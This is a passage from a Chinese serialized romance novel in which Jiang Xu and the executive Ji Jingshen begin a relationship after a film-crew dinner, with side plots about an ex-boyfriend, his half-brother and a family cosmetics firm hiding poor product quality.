姜许扫了他一眼,又环视周围:“秦知瑶呢?” “不清楚,在路上吧。”黎江青摇头。 姜许挑眉,正打算拿出手机—— “姜许姐。” 门口传来气息不稳的声音,秦知瑶匆匆赶到,身后只带了一个助理:“抱歉,我是不是来迟了?” “很准时。”姜许看了一眼手机,目光越过她的身后。没有看见赵姐的身影。她看向秦知瑶,后者抿了抿唇,笑道:“赵姐忙着带其他新人。” 姜许没时间多问,被拉着去核对了不少细节。这部剧比较坎坷,光是男主角定下来就风波不断,导演信奉玄学,絮絮叨叨地给姜许说了不少规矩。 拍摄的方位细节,还有发宣传照的时间卡点。姜许耐心地听着,虽不信,可也尊重剧组的规矩。红玛瑙递到自己手上时,姜许浅叹了一口气,利索地套上。 身侧有视线落了过来,姜许大方地回望过去:“黎大明星喜欢?等拍完,我送你?” 黎江青失笑摇头:“倒不是,只是很少看到你这幅无奈的样子。” 姜许也笑笑,不多说什么- 姜许回归工作状态的这天,季惊深已经连轴转了好几天。 上午是和英国那边的对接视频会议,中午和边野黎江妄吃饭,下午得和季安棠一同看望谢老,商议芯片并购的事宜。 中午的饭局定在明园,季惊深和季安棠到时,黎江妄已经站在落地窗前,俯瞰整个明园的风景。他手中握着手机,随手拍了几张,低沉的嗓音对着听筒:“真在吃饭,别多想。” 注意到身后的动静,黎江妄回头看过来,视线在季惊深的身上打量了一眼:“季总,久仰。” 季惊深礼貌颔首,如山般冷寂的眉眼透不出任何一丝情绪:“黎总。” “这位是……”黎江妄看向季安棠,朝季惊深递了一根烟过去。 “家妹安棠。”季惊深礼貌地接过,点燃,却不着急抽:“这次项目,由她负责。” 黎江妄别有深意地看了一眼季惊深:“早就听闻季家年轻这一辈关系和睦,令人羡慕。” 这次项目可不小,季安棠原本就是逸安的一把手,只不过因为一次失误调任降职了。要是他,早就借此机会将人踩到地底下,再也让她翻不了身。可偏偏季惊深不仅没有这般做,反倒是打算把人重新捧起来。 白烟在唇齿间回转了一瞬,季惊深语气淡淡:“所谓家和万事兴,老爷子自小定的规矩,言传身教罢了。” “那真是可惜了,我家老头子教导我的,可不是这个道理。”黎江妄笑了笑,冷炙的目光紧紧盯着季惊深。 男人始终脸色未变,神色始终是淡漠毫无情绪。腕扣处的手表很吸睛,款式低调,却也价格不菲,透着几分低调的奢华。 他在来之前就听说过不少这位的传言,除了脸色较为常人偏白了些之外,倒是看不出有任何不妥。这模样,也的确是有几分病秧子的娇弱感。可却又被那一双黑眸的气场给压了下去,让人很难轻视他。 季惊深垂眉颔首着,指间染着那根烟,唇齿间还有几分尼古丁的味道。左手轻敲了两下桌面,温声回归了此次正题。 合作谈得还算顺利,,咬得太紧,谁都不肯退后一步。 “不如先暂且搁置。”黎江妄笑:“正好我打算在北安待一段时间,这合同,也不急着在今天定下。” 季惊深:“也好,北安有不少值得一去的地方,黎总可以好好玩一玩。” “今晚如何?”黎江妄视“棠总今晚可有空?” 季安棠蹙眉,客套拒绝:“今晚有个饭局,腾不” 她的话被黎江妄打断:“过来一般,他恍然大悟地“噢”了一声,“棠总现在管的是娱乐公司对吧?今晚,是和剧组的饭局?” 这话里有话,季安棠不好接,却也不能承认:“是。” “那,不介意多我一个蹭饭的吧?” “……”- 姜许来得比较迟。 和黎江青还有补拍的一组照片,等全部结束,匆匆赶到饭局时,里面已经落座了不少人。今天算是成功开机的一个庆功宴,大大小小邀请了不少人,光是包厢就定了七八间。姜许要不是身后还顶着锐安大小姐的名头,估计也进不了这间包厢。 主座之上,季惊深安静地坐着。他嫌少来参加这种剧,毕竟他从不混迹娱乐圈,在逸安的那两个月,所处理的大多都是公司内部的事。可他的身份摆在那,想要和逸安攀上关系的人不在话下。 酒一杯跟着一杯敬到他的跟前,男人只是淡淡地抬了抬眼,丢下一句“不胜酒力”,便没有下文。 导演制作人等吃了瘪,又悻悻地收回视线,恰好看到姗姗来迟的黎江青和姜许,笑道:“姜小姐和阿青可算是来了,磨蹭了这么久,我还以为……” 他的话点到为止,引得周围暧昧的笑声。 姜许和黎江青当年的事并不算什么秘密,没有正式公开过,可是暗里的糖却发了不少。后来两人莫名分手,圈子里磕他们CP的粉丝们还暗自神伤过好一会。如今前任再合作,剧组里不少打着看好戏的想法,直勾勾地盯着他们。 姜许坦荡一笑:“补拍了一组照片。导演,我这可不是磨蹭,这叫精益求精。回头达不到您老的要求,岂不是双方都为难。” 她招呼着身后跟来的背哥,落座在何月旁边。而黎江青也淡淡地环视一周,视线定格在黎江妄身上两秒又挪开,面不改色地坐在了隔着秦知瑶一个位置的距离。 今晚来的人实在是太多,分为了两桌。姜许原本也是给导演一个面子,过来蹭顿饭,奈何今天没什么胃口,吃了两筷子就放下。刷着手机时,秦知瑶的消息发了过来。 【姜许姐,你和季总吵架了?】 吵架? 她和季惊深这样的男人,能吵得起来吗? 【没有。】 秦知瑶发了个“哦”的表情包。 她在剧组那一桌,和姜许还隔着一桌的距离。 【季总不是不管柒渔的事了吗,今晚怎么来了,来找姜许姐的吗?】 她怎么知道。 季惊深又不和她汇报行程。 姜许被问得烦躁,视线从主座旁边挪开了两分,盯着黎江妄几秒,微微蹙眉,又很快挪开,扫了一眼季安棠。 【估计是陪你们棠总。】 不等秦知瑶再问,她反客为主:【你又是怎么回事,赵姐呢?】 秦知瑶:【我在做一件超级厉害的事!】 姜许大约能猜到一些:【行,提前祝你成功。】 秦知瑶:【我还是觉得你和季总之间不对劲。姜许姐,季总和你性格都这么好,也闹别扭了?】 先前她对季惊深心动五分钟又熄灭这事,姜许是知道的。后来虽然没什么后续的可能了,但是秦知瑶对于曾经的老板,以及曾经心动过的男人的八卦,还是十分感兴趣的。 姜许:【再好的两个人在一起都会有矛盾。感情这种事,很复杂。好了,别问了。】 暗灭手机,旁边的唐渺渺和何月还在吃。她是给自己放假了,这两个要强的小姑娘拉着背哥忙天忙地,都瘦了不少。 “我出去待一会。”姜许起身,避开剧组里想要攀上前的男三号,起身下了楼,从大厅拐入后院之中。 夜晚燥热,好在园中有个喷泉,凉爽很多。 身后有脚步声传来,姜许回头看去。黎江青喝了不少的酒,却不上头,只是脖颈处有些红。步子还算是稳,走到她身后两步的位置便停下了:“前面再过两条街就是老么馄饨,我陪你过去吃一碗?” 今晚的饭菜不合她的胃口,都没动多少筷子。 “不用,没胃口。”姜许随口回了一声:“你怎么出来了?男主角可以随便离场吗?” “太闷了。再说了,今晚的主角,不是我。”黎江青笑道:“逸安的季总可是坐那呢,张导都恨不得自己贴上去了,哪里还有时间管我。” 姜许不置可否。 话题本已经落地,又被黎江青捡起来:“搬家了?先前本来想去找你吃个饭,一直不见人。” “嗯,搬去和姜祁州做邻居了。” “也好。那里你一个女生住确实不怎么安全。”黎江青微微颔首,又道:“对了,小凌周末结婚,她很希望你来,要是不麻烦的话——” 小凌是她和黎江青在圈内认识的一个小艺人,之前关系一直不错,后来因为她和黎江青的分手闹了些事情,关系渐渐疏远。可结婚是大事,有空的话,总该是要亲自道一声喜的。 “请柬给我发一份,我看看具体时间,不一定能有空。” “好。”黎江青松了一口气。 楼上三楼的阳台,季惊深碾灭一根烟,淡淡地看着楼下不远处的光景。 姜许和黎江青背对着自己站着,距离并不算很近,可也单独相处了有一小会,偶尔的,还能看到姜许微微回头,脸上露出几抹很淡的笑。 “季总,是不是屋子里太闷了?”身后传来导演的声音,他明显是喝得有点多了,身体晃悠了两下,赶紧扶着栏杆,大着舌头道:“都怪我,我是没想到今晚这样小小的局,竟然还能请得动季总。早知道的话,就应该定个更好的地方。” “临时改了主意来的,给张导添麻烦了。”季惊深客气地道,不动声色地往旁边挪了一点。 “没,没有,都是我的荣幸。”一个逸安季总,一个边野黎总,张导今晚差点乐不思蜀。揉了揉眼睛醒醒酒,他一个眼尖,扫到了喷泉池旁的两人,顿时乐了:“我就说这两人绝对要复合!” 微凉的视线落在他的身上,隐隐带着几分警告的意味。可喝大了的张导压根就看不出来,一个劲地道:“季总,你是不知道,当年这两个人谈恋爱那会,网友们都磕疯了。这部剧黎江青不愿和秦知瑶炒作,卖点少了不少,不过要是这两人复合,回头买点热搜——” “张导。”季惊深的嗓音微哑,凉薄得不像话:“这部剧该怎么宣传,怎么拍摄,我都不关心。柒渔的事,你该给安棠汇报。” 张导有些尴尬:“是,是,是……” 季惊深重新坐回屋子里,身侧,黎江妄端着一杯酒:“那位是姜祁州的妹妹吧?先前和锐安合作有幸见过一面,的确是生得好看,继承了她母亲的美貌。” 季惊深语气淡淡:“嗯。” 黎江妄又笑:“季总也别怪我多嘴,该争,就得争。尤其是女人。” “有劳黎总费心了。” “季总客气。”- 回去和何月他们不顺路,姜许从大厅出来,今晚的饭局已经散得差不多了。 厅里空旷安静,唯有刚刚从卫生间出来的季安棠朝她大步走来,语气不算是太好:“姜许,大哥在门口等你。” 姜许挑了挑眉,“噢”了一声。 往门口走去,黑色的劳斯莱斯安静地停在夜幕之中。她缓步走过去,伸手打开车门后,抬腿坐了进去。 季惊深在车内闭目养神,听到动静,缓缓睁开眼朝她看来:“聊完了?” “早就聊完了。” 黎江青本来就不能出来太久,前后不过是十来分钟,姜许站累,回到厅内的小卡座里,而黎江青去哪,她也没多问,估摸着回到饭局当中。 “聊了什么?”季惊深追问。 姜许扭头看他,眼角含笑:“季惊深,这是我隐私。” 季惊深稍顿,深深地望了姜许一眼,吩咐前头的司机开车。车内沉默下来,空调开得正正好,饭后的倦怠让季惊深多了几分困顿之意,却怎么也睡不着。 这一周他都很忙,英国那边的事情是处理好了,可是逸安内还有不少问题要处理。加上边野黎江妄的突然到来,打乱了他的计划。 可这也不过是片刻的燥郁,很快一切都有条不紊的处理着。唯独有一件事,扰他心神—— 姜许不再找他。 像是突然消失了一样。不,没有突然消失。朋友圈还在更新,频率较为之前更频繁了。她给自己放了个假,带着那位江小姐到处玩乐。她很得闲,不至于忙到没有一丝时间。她只是,消失在自己面前而已。 良久之后,季惊深忽然沙哑地开口,视线重新黏了过来:“这周末我不忙。” 姜许挑了挑眉,遗憾地道:“我周末要去参加一个婚礼。” “谁的?” “你不认识。” 季惊深静默:“黎江青也会去?” “嗯。”姜许应下,想了想:“时间合得上的话,应该会一起去。” 请柬她看了,地方偏远得很。从北安市区出发,到一个偏僻的乡镇上,来回都很不方便。她懒得开车,要是能蹭车,自然是乐意的。实在不行,只能找姜祁州借一个司机过来。 “既然已经分手,还是避嫌比较好,况且,他是公众人物。” 姜许也看向他,语气加重了几分:“我们是和平分手,不存在什么恩怨。狗仔那边,他有经验。” “一定要去?”季惊深的眸色沉了几分,刻意压抑了一晚上的情绪在看到姜许点头之后,达到了一个临界值。放置在身侧的手指握紧,手背青筋涨起,却又隐没在夜幕的车中,无人发觉。 “如果我不希望你去呢?”男人幽幽的嗓音落了过来,高大的身躯也逼近了几分。浅浅的男士香水味扑入鼻尖,不等姜许细细去想,又被他周身强硬的气场逼得只能抬头看他。 季惊深在生气。 太过明显了。 他极少像是现在这样,半点情绪都不遮掩,毫无顾忌地暴露在自己面前。 可他凭什么生气? 她只是在追求他,又不是把自己卖给他了。况且,她前不久才被拒绝过。 进一步他不允许,退一步也不允许。 哪有这么霸道的被追求者。 姜许摩挲了一下指腹,定定地看着季惊深,反问:“你是以什么身份不允许我去?季惊深,我承认自己不太会追人,可是对你,我一直都是认真的——” “你希望我是以什么身份?”姜许的话被季惊深打断。 不知道什么时候开始,挡板被他拉了下来。他们之间的距离太过靠近,近得她能感受到男人温热的呼吸,只要她稍微一动,便能吻上那张薄唇。 这样的距离,实在是不宜她继续接下来的谈判。姜许想要退后一些,刚有动作,手腕便被季惊深给攥住了。炙热而又不宜忽视的目光一瞬不瞬地落在她的身上,迫使她无法后退半分。 “你的恋人,还是先生?”季惊深问:“姜许,无论哪种,我现在都能答应你。可你确定,你不会后悔?” 他浅浅地压了压眉眼,翻涌的情绪始终定不下来。他曾在方厌面前放下过狠话,没打算再给姜许逃离的机会。他一直都是如此,看似温和,实则最是心狠。可面对姜许,他始终是狠不下心。 他想再给姜许一次机会。 他不如年轻的小男生讨喜,热情。也不如黎江青那样的男人会温温柔柔地哄着她。要她和这样的自己过一辈子,或许会很为难她。所以,哪怕是情绪难抑,他也依旧给姜许再一次选择的机会。 季惊深的眸色深谙,语气沉得灼人:“我不玩谈几个月就分手那一套,你没想过我们之间的长久未来,可我想过。一旦确定,姜许,这辈子,你只能和我绑在一起。直到死,也无法挣脱。” “这样,你确定还想要给我这个身份吗?” 第39章 第39章【VIP】 季惊深的手加重了几分力道,扣着自己的手腕恰到好处。不会让她感觉得到疼,也不会让她有任何可以退后的机会。 车子在漫长的红绿灯面前停下,车内寂静,姜许甚至能听到自己胸腔处传来的心跳声。 咚。 咚咚。 她听得懂季惊深的意思,要么从未开始,要么,到死都别想离开他。 姜许没想过太长远的事。一辈子呢,会发生的变故实在是太多。她在这方面上,有着异于常人的悲观心态。哪有什么海枯石烂,坚定不移。人总是会变,今天爱得要死要活的夫妻,明天就可以为了财产争得头破血流。 可无论哪种,好像对于她来说,都不是什么坏事。 或者说,无论是和季惊深谈过一段,还是这辈子都和这个男人绑在一起,得益者,会是她姜许。 她客观冷静地分析着。 视线轻抬,对上季惊深那张好看得过分的脸。 车内昏暗,唯有棱廓分外清晰。男人眼底分明是带着几分愠怒,那张略显冷白的脸都染上了几分血气。眉眼低压着,眼尾危险地上挑了些许。 嗯。 她姜许,一点都不吃亏。 “想要啊。”姜许眉眼轻轻扬起,不再退后,反倒是逼近了两分。说话间,轻轻扫过季惊深的薄唇:“季惊深,你真能喜欢我一辈子?” “我不做这种承诺,姜许。”季惊深垂下眉眼,眼底是化不开的晦涩:“等百年之后,你再来问我。” “那——” “除此之外,逸安的股份,我名下的私产,你想要的,我会让胡泽立马安排。” 承诺是最没用的东西,季惊深很清楚。比起嘴上的几句话,他更乐意,把自己所拥有的,尽数都给姜许。 姜许怔住,红唇恶劣地擦过季惊深的薄唇,一点点地从他脸上碾过。直至落在他的脖子上,伴随着呼吸,有一搭没一搭地亲吻着:“季惊深,你早就喜欢我了。” 这句是肯定句。 她不是傻子,都到这个份上了,要是再看不出季惊深对她的感情,这些年等于是白活了。 “是。”季惊深承认,手臂环过她的腰肢,感受着落在颈间的轻佻细吻,喉结轻滚了两下:“姜许,我没你表面看到的那么好。” “噢。”姜许不是很在意。人嘛,都是有多面的。姜祁州那样的,不也在感情上跟半个疯子一样。 回归正题,姜许稍稍从他肩窝处离开,直视季惊深的眼睛:“所以季惊深,试试吗?” “不对。”姜许笑了笑,好心情地抬着季惊深的下巴:“季惊深,我们,要不要认真地在一起?” “考虑清楚了?”季惊深眸色更深了一分。 身体不受控制的,叫嚣着的,高涨的欲望。 压抑了多天的怒火,在此刻以另外一种形态隐没在西装之下。 “嗯。”姜许点头,视线在季惊深的薄唇上凝视了两秒,重重地压了上去。 瞻前顾后从来都不是她的性子,起初是因为季惊深的身份,念及着他们怎么都不是一路人,这才避而远之。可是现在不一样了,难得遇上彼此喜欢,她又那么喜欢的一张脸。说什么,她也得先谈上再说。 接吻比以往的都要更深,唇齿交缠,姜许甚至尝到了季惊深舌尖很浅的尼古丁的味道。混杂着香甜的酒,倒也算是别有一番味道。 手机冷不丁的在这个时候振动起来,姜许下意识地从小包里拿出手机,上面明晃晃地映着“黎江青”三个字。 她欲伸手接通—— 整个人便又被季惊深强硬地拽到了怀中。 脸被他单手轻碰,轻柔的吻再一次落下。这次的吻来势汹汹,看似温柔,实则带着几分惩罚的意味。柔软的舌尖被他轻轻地咬了咬,在姜许察觉到痛想要缩回去后,又安抚性的勾弄了几下。 比起之前几次,季惊深*的进步明显神速。 姜许在他怀里软得没有丝毫力气。铃声早已经断了,车子也不知道什么时候到了地方,稳稳当当地停在车库里。司机早已经很有眼力见的离开,此时的劳斯莱斯里,只剩下他们两个人。 姿势也换了,姜许整个人都被季惊深抱在怀里。夏天的布料单薄,姜许也不过是穿了件宽松的休闲裤,此刻能明显的感觉到身下抵着的,无法忽视的高山。 食指微微弯曲着,一汪清泉淌过,让姜许不舒服地低吟了一声。她抬眼看向季惊深,手指往西装的里探去,嘴里还在嘀咕着:“回家去,这里太小了。” 季惊深被撩拨得气息不稳,又深深地在她唇上亲了亲,这才大步地抱着人,从车库的电梯上去。别墅里早就清了场,季惊深一路将人抱到小客厅之中。刚刚要放下人,衣领却又被再一次拽住。 姜许眼眸泛着水意,盈盈一汪,眉头狠狠地皱起。不安分的手已经是试探地探向了他的喉结,故意用指甲轻轻地挠了挠,再顺势往下—— 手突然被人抓住。 姜许不明所以地看着同样沉浸其中的季惊深,男人眼里暗哑,声音也闷得不像话:“东西没准备好。” 底明晃晃的崩溃,温声安抚:“别急,我的所有,迟早都是你的。” 急!- 电话没打通,黎江青握着手机,” 许久不见的黎江妄大咧咧地走了过来,嗤笑一声:“被逸安那位带走了。黎江青,你能有用一点吗?边野抢不到,女人也抢不到?” 黎江青的脸色微变,面上依旧保持着几分那副温温和和的模样:“我的事,跟你没关系。” 黎江妄语气更是嫌弃:“放不下就去追,女人都抢不过来,不如死了拉倒。” “你来北安,到底是做什么的?”黎江青看过去,平静温和的眉眼多了一丝警惕。 “谈生意啊,不然和你这个私生子叙旧吗?”黎江妄冷笑,扫过黎江青的眼底,语气很是不屑:“我亲爱的弟弟,你大可以放心。我新婚燕尔,陪自己老婆的时间都没有,哪有时间针对你。” 说完,黎江妄直接拉开车门,车门隔绝一切之前,他道:“念在你这些年还算是乖的份上,真要追姜许,我可以帮你。” “不需要。” “那你等着后悔吧。” 车子迅速起步,很快就在黎江青的面前消失得无影无踪。四下寂静,他不由得苦笑一声。 早就后悔了。 可她早就远远地走在前面,只有他,困在过往- 洗了个绵长的澡,姜许和江小满有一搭没一搭的聊着天,脸上的红温也算是慢慢地退了下去,只剩下热澡过后的些许余温。 “我没觉得你猴急,真的。”江小满在那头信誓旦旦地道:“你都26了,又不是16,还慢悠悠搞牵手亲小嘴那套,简直跟学生恋爱有什么区别。” 姜许轻哼一声。 “不过话说回来……”江小满轻咳一声:“这没套也没办法,你可别存侥幸心理,咱们安全措施要做好。忍一忍,下次再继续好了。” “说得好像我很想一样。”姜许无语,气有些不顺。 江小满沉默了两秒:“你就继续装吧。不就是因为你们都那样了,他还能中途喊停击碎了你的自信心吗?姜宝,咱们换个角度想问题,这说明什么,他有强大的克制力,能处!” “……你觉得自己男朋友对自己有克制力是什么好事吗?” “……” 挂断电话,姜许起身。外头摆放着一套为她准备好的睡衣,淡淡的蓝色,款式中规中矩,不算是保守,但也没有任何情趣的意味在。 鞋子也准备好了,甚至洗漱台上还有一套全新的,女生款式的洗漱用品。 上次她说的,季惊深倒是认真记下了。 头发吹了个半干,姜许再出去时,季惊深正在小客厅里调酒。 看到她来,将小半瓶奶质饮料倒进去,白色和蓝色交错开来,看上去倒是不错。 “给你调的。”季惊深将酒递到她的面前:“试试味道?” 之前她说的,很喜欢那位周先生调的酒。后来,他便学了一些。上次匆忙,没来得及给她调,这次,正正好。 姜许故作端庄地坐在季惊深的对面,端起那杯酒,浅浅尝了一口。随后,眼睛有一瞬间的亮起:“味道不错,怎么调的?” 和她之前喝过的所有酒都不太一样,大概是加了奶味的缘故,酒味并不浓厚,入喉的瞬间,还带着几分爽朗。 “独家秘方,不方便透露。”季惊深垂眉看她,又加上一句:“你要是喜欢,以后想喝我调给你。” 姜许没搭话,视线落在一旁的基酒上。一年产量不过一箱,姜祁州都搞不来。要想喝,还真得来找他。 姜许喝得很慢,太快容易酒上头。她也没有刻意的跟季惊深找话题聊,点开江小满推荐的一本小说,随意地点阅着。 说是小客厅,实际上只是相对于房间来说小了点。毕竟一整层楼的面积,足足千平,只有两个房间,剩下的,便是这个小客厅。 茶几足够大,交错着放着一大一小两个区域,还有升降功能。除此之外从落地窗看下去,月色笼罩这一片,树影交错,中间一汪清泉,风景怡人。 姜许盘腿而坐,现在才不过十点多,距离她睡觉的时间还有很久。而坐在对面的季惊深升降起了茶几,打开笔记本,面无表情地审视着上面的文件。 安静得很。 可这氛围,却很舒心。 搁置在一旁的手机振动,姜许的思绪从小说中被迫抽离出来,看过去时,季惊深已经接起了电话。 已经是十一点多,最后一点文件看完,季惊深索性合上了电脑:“爸。” 季澜之很少在这个时间点给他打电话,除非,是什么很重要的事。 “你妈妈改签了,说是所里还有事,今年先不回来了。” 他的语气里不算是温善,甚至还带着几分不悦的意味:“这都两年了吧?我和你妈还没离婚呢,她想做什么?惊深,回头你问问你妈,如果真想离婚——” “您做了什么惹她生气了?”季惊深淡淡地问了一句。 季澜之一愣,蹙眉道:“能做什么,前几天家里重新修整了一番,我瞧着你妈妈房间里还留着个丑娃娃,便处理了。结果,她大发雷霆。她也是越活越回去了,就因为一个丑娃娃!” “这事您做错了,反倒是理直气壮。”季惊深哂笑。 诸如此类的事情太多了,他母亲是极致追求浪漫的,偏偏季澜之更重利益。多少次争吵,对于季澜之而言都是无理取闹,到最后都是一句—— 就因为这个。 被自己的儿子这么说,季澜之脸上有些挂不住,脸色难堪了两分,又说他压根不懂夫妻之事,便匆匆把话题带到其他地方。 “边野的人来了,我听闻那位不好对付,你多留个心眼。” “嗯。”季惊深漫不经心地应着,眉眼对上姜许。她已经慢吞吞地将剩下半杯都喝完了,却还是有几分意犹未尽的感觉。 “不能喝太多。”季惊深说:“实在睡不着,等会我陪你。” 说这话没有扣着听筒,季澜之听得清清楚楚:“惊深,你那边还有谁?” “姜许。”季惊深说,声音温浅了两分:“爸,我们在一起了。” 虽然早有心理准备,可是季澜之心中可都是一直期盼着这两阴差阳错。结果这事就这么板上钉钉了,加之今天的心情实在不加,语气不免重了几分:“在一起就在一起了,反正结婚不能……” “结婚不会那么早。”季惊深抬眼,扣住姜许想要自己调酒的手:“最快也得明年。办婚礼繁琐,诸多事宜都要确定好,还得办得足够大,至少需要半年时间去准备。” 季澜之:“……”他压根就不是这个意思! “惊深,你明明知道我想说什么!” “嗯。”季惊深应得自然:“季家的婚礼,不能草率。您放心,该有的章程都会有,到时候爷爷那边,我也会处理好。” 电话被季澜之挂断了。 季惊深倒也不在意,掌心的手正在不安分地想要往回缩,他低声询问:“回房睡觉?姜许,我可以哄你入睡。” 姜许没应,只是怔怔地看着他。 才在一起不到三个小时,他就明晃晃的,恨不得昭告天下。 他说的,到死都得绑在一起。 这一刻,姜许信了。 季惊深是认真的- 接连几天,姜许家都没能回。 季惊深倒也不限制她的自由,只是在她有意向要回家时,男人便会跟上一句:“白天我要忙,只有晚上才能见。姜许,很抱歉,我是第一次谈恋爱,会有些粘人。两个小时的相处时间,大概满足不了我。如果你觉得在我家住得不舒服,我不介意去你家。” “……”她介意。 姜祁州出差回来了,保不准上下楼会见到。虽然心知肚明,但是姜许总觉得略有些尴尬。 再说了,她家没有厨子,多数都是订饭,论起舒适程度,的确是比不上在季惊深家里。 所以,这事暂时就这么搁置了。 “他真这么说?”俞晓染在专柜试着新到货的手链,一脸震惊:“他说他粘人,让你别走?” “大概意思是这样。”姜许应,视线定格在远处的一条皮带上,低声吩咐了柜姐。 俞晓染在心中疯狂尖叫:“不是,我没看出来啊,季惊深这么粘人?!那,那……” 她的小脸微红,有些不好意思:“你们亲亲,谁主动比较多?” “我。”姜许扫她一眼,有句话没说出来。 是她主动的没错,可季惊深大多数时候,摆明了勾着她主动的。 “噢。”俞晓染激动的心稍稍下去了一些,越看越觉得手上的玩意好看,直接大手一挥:“今天我请客,想买什么跟你俞姐说!” 姜许:“怎么,最近发财了?” “快了。”俞晓染嘿嘿一笑:“就等你发朋友圈官宣了!” 姜许这才想起圈子里那个无聊的赌局,按照俞晓染压的,估计是赔率最高的那一档,少说也得赚个千万。 得,一个赌局赚那么多,难怪走歪门邪道的那么多。 “我这叫歪门邪道?”俞晓染不爽,下意识地脱口而出:“你大伯才叫歪门邪道,这次质检又不过关,结果花钱买通那边,还大肆找了明星带货,一晚上销售量几个亿,我这才哪到哪!” 话一出,俞晓染就想给自己一巴掌。她嘴没把门习惯了,对谁都这样,一时间压根改不了。 “那个……”俞晓染小心翼翼的,拽了拽姜许的衣袖:“姜宝宝,我不是故意的。” “没事,这本来也是事实。”姜许朝她笑了笑:“走吧,继续逛。” “哦……”- 周五的行程季惊深排得比较满。 不过好在的是,周末的时间能腾出来,除了周日晚有个饭局之外,剩下的时间,可以和姜许待在一起。 下午是和林业珠宝的合作见面。 江小满一早就收到了消息,开完会出来后,远远地便看到被簇拥在其中的男人。他的样貌太过惹眼,一张病态的美人脸在周身气场的威压之下,多了几分不怒自威的冷峻。温沉的眸子一如既往的毫无波澜,淡淡地听着身侧之人的讲解。 她抱着文件站在人群后方,听到周围人的议论。 “我不敢啊……” “有什么不敢的,这就一次机会,错过了,可就没有了。” “少说点。”江小满淡淡地开口:“那位是你们能肖想的吗?” 几个小女生匆匆回头,看到是江小满之后,脸涨得通红,急忙道歉:“对不起江主管,我,我们……” “先去工作。”江小满道。 “是……” 从过道走进会客厅,季惊深刚刚落座,热茶便断了上来。身侧的易总还笑意吟吟地把新推出的全套饰品拿了上来:“季总,这是我们送的小礼物,您别嫌弃。现在女孩子都喜欢,回头送给家里人倒也不错。” 季惊深只扫了一眼,便收回目光:“她不适合这样的风格。” “这样啊。”易总悻悻地摸了摸鼻子,回头看了一眼江小满。江小满赶紧上前,将合同递了过去:“季总,请过目。” 季惊深的目光从江小满身上略过一瞬。他的记性不错,这位是姜许的好朋友,和她一起长大的闺蜜。 微微颔首,季惊深接过合同。后续事宜敲定得很快,收到姜许差不多逛完的消息时,他刚刚婉拒了对方的饭局邀约。 “要去陪女朋友,抱歉。”季惊深起身,略过几人惊诧的目光。 送他出来的是江小满,上车之前,季惊深主动开了口:“江主管,方便加个联系方式吗?关于姜许的事,以后可能会有麻烦到你的地方。” 江小满点头,又认真地拜托季惊深:“对她好一点。” “我会的。”- 姜许和俞晓染逛到六点多,晚饭没吃,这妮子还有一场。 她没什么兴趣,走到门口恰好接到电话。门口是一辆比较低调的迈巴赫,姜许还没说话,俞晓染就撇了撇嘴把她往前推:“去啦去啦,记得早点官宣,我发财就靠你了。” 姜许回以她一个鄙夷的眼神,转身上了车。 季惊深还在接电话,是季家那边打来的,断断续续地听到几个—— 老爷子。改天。 直到回到了他的别院,这一通漫长的电话才算是结束。 疲倦地暗灭手机,季惊深和姜许一同进了屋子。里面比往常更为空荡,原本在楼下伺候的几个佣人不见踪影,显得冷冷清清。 “去楼上玩一会,等做好菜了再喊你下来。” 男人神色自然地挽起一节袖口,冷白调的手腕略显几分力量感。他长身而立站着,温润而又矜冷。偌大的吊灯之下,为他的轮廓添了几分温柔的光晕。 姜许晃了晃神,不解:“你要下厨?” “嗯。”季惊深点头:“明天是周末,给阿姨他们放了假。姜许,我许久没下厨了,可能会做得不是很好吃。” 他心知肚明。 借口罢了。 这个周末,他只希望和姜许相处的时光里,没有其他人打扰。 “没关系,我不挑食。” 这话说出来可信度不怎么高,毕竟姜许曾经趴在他的后背,把自己的忌口说了一通。她不爱吃的,不少。 厨房很大,姜许不打算进去添麻烦,只靠在门口:“刚才是季老爷子的电话?” “老爷子听闻了我们的事情,说想要见见你。”季惊深冷水下锅了鸡翅,熟练地倒入姜和料酒,偏头看向姜许:“你想去吗?” “这不是想不想的事吧。”姜许笑:“总得见你家里人。” 其他的不说,季惊扬已经闹了好几天了。那边期末考结束,正是空闲的时候。要不是她提了一嘴自己在季惊深这边,怕是早就找过来了。 “不着急,可以给你先做好心理准备。” 老爷子的语气并不算很好,加上他父亲那边也不是什么赞同的态度。他和姜许才刚刚在一起,并不希望这个时候有外界干扰。 “也好。”姜许还真不想这么快见家长。 尤其是季家人丁太广,除了直系的那几个之外,旁支的,少说得几十号人。姜家亲戚少,搬来北安之后更甚,逢年过节的,除了年三十得一起吃个饭之外,整个年里,她都是和姜祁州四处旅游。 鸡翅焯过了水,姜许低头看了会手机。三人群里聊她的八卦聊得正起劲。 江小满:【我~要~陪~我~女~朋~友~,抱~歉~】 姜许:“……” 季惊扬:【啊啊啊我为什么不在现场,这比断我零花钱还难受。】 姜许:【1。】 江小满:【哟,当事人来了。又幸福了姜宝。】 姜许着不远处为她下厨的季惊深,眉眼含笑:【羡慕的话,回头我给你介绍一个?】 江小满:【别,男人只会影响我振刀的速度!】 姜许:【得,好好赚钱,做一个钱花不完的大美女。】 退出聊天对话框,姜许一边点开短视频APP,恰好刷到了民江的直播。请的是十八线的男艺人,最近因为一部双男主文火出圈,热度高涨不停。 直播间里涌入了不少人,姜许面无表情地看着助播在那头夸大其词。一大堆专利全部摆出来,可其中的水分,她和民江心知肚明。 弹幕偶有几条真实评论。 【用了身体很干。】 【第一天全是头皮屑。】 才刚刚冒头,就被管理员请出了直播间。 姜许看得蹙眉,忍不住发了一句,结果也被踢出了直播间。顿时被气笑了,往下又刷了几条,是一条热度破万的视频。里面黑底白字声讨民江产品宣传造假,欺骗消费者。 姜许刚想要点开主页,却发现这条视频消失不见。 民江的公关,做得可真好啊。 “可以洗手吃饭了。”季惊深的声音落了过来。 姜许回过神,收起手机,慢吞吞地洗手挪到位置上。 一顿饭吃得有些心不在焉,季惊深好几次问她话,她都没反应过来。吃过了饭,又匆匆地回了主卧,给姜祁州打去电话。 姜祁州难得在今晚没什么应酬,停下握杆的动作,给俞明礼了个眼神,便走到了阳台处,声音温柔:“怎么了,恋爱不顺利?” “怎么可能。”姜许将窗帘扯开,望着底下的风景:“姜祁州,民江的新闻,你看了吗?” 姜祁州对民江并不是毫无感情的,那毕竟是养育过他的叔婶亲手创立的公司。只不过是在姜广安接手之后,他们关系生硬,姜祁州的身份尴尬,也没资格过问,便不再理会。 “看了。”姜祁州的声音淡了几分:“我那生理上的爸倒是聪明了一次,借着互联网这阵风,营销做得不错。” “产品可是劣质到家了。”姜许说:“他想东山再起我不反对,可是……” 